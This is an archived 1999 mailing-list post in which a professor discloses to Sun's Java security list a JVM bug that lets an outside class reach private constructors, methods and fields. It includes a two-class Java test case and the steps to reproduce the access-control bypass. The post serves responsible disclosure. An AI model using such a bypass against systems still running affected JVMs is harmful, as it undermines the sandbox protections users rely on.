# Huge security hole in Sun's JVM

Bill Pugh (pugh@cs.umd.edu)
Fri, 7 May 1999 16:48:32 -0400 (EDT)

- Messages sorted by: [ date ][ thread ][ subject ][ author ]
- Next message: Jeff Nisewanger: "Re: Huge security hole in Sun's JVM"
- Previous message: Jean-philippe VILLAIN: "Problems with hostile applets"
- Next in thread: Jeff Nisewanger: "Re: Huge security hole in Sun's JVM"

    Date: Fri, 7 May 1999 16:48:32 -0400 (EDT)

    From: Bill Pugh <pugh@cs.umd.edu>

    Message-Id: <199905072048.QAA02693@savoir.cs.umd.edu>

    To: java-security@java.sun.com

    Subject: Huge security hole in Sun's JVM

Sun's JVMs have a huge security hole. The JVM allows
an outside class to invoke a private constructor or
a private static method, and to access a private
variable. I confirmed this bug in the following JVM's:

Sun Sparc Solaris 1.1.8
Sun Sparc Solaris 1.2.1 production
Sun Sparc Solaris 1.2.1 reference

WinTel 1.1.8
WinTel 1.2.1 classic
WinTel 1.2.1 HotSpot

IBM's jdk for WinTel, version 1.1.7b

Here is the test case: compile the following two classes

In A.java:
public class A {
public A() {
System.out.println("Constructor invoked");
};
public int x = 17;
public static int y = 99;
public static int f() { return 42; }
public static void main(String args[]) {
A a = new A();
System.out.println(a.x);
System.out.println(++a.y);
System.out.println(a.f());
}
}

In A2.java:
public class A2 {
public static void main(String args[]) {
A a = new A();
System.out.println(a.x);
System.out.println(++a.y);
System.out.println(a.f());
}
}

Try running both A and A2. They both work, as they
should.

Then, change the access rights in A to private:

public class A {
private A() {
System.out.println("Constructor invoked");
};
private int x = 17;
private static int y = 99;
private static int f() { return 42; }
public static void main(String args[]) {
A a = new A();
System.out.println(a.x);
System.out.println(++a.y);
System.out.println(a.f());
}
}

Recompile A.java (but not A2.java).

Then run A2. It shouldn't work, but it does.

If you try to recompile A2.java, it is rejected.

This is so big a security hole, I had someone else
independently double check it. They found the exact
same hole.

So far, I haven't informed anyone else of this bug
(not even Ed Felton :-) ). Please keep me informed
as you try to verify the existence of this bug.

Professor William Pugh
Dept. of Computer Science
Univ. of Maryland, College Park
pugh@cs.umd.edu

- Next message: Jeff Nisewanger: "Re: Huge security hole in Sun's JVM"
- Previous message: Jean-philippe VILLAIN: "Problems with hostile applets"
- Next in thread: Jeff Nisewanger: "Re: Huge security hole in Sun's JVM"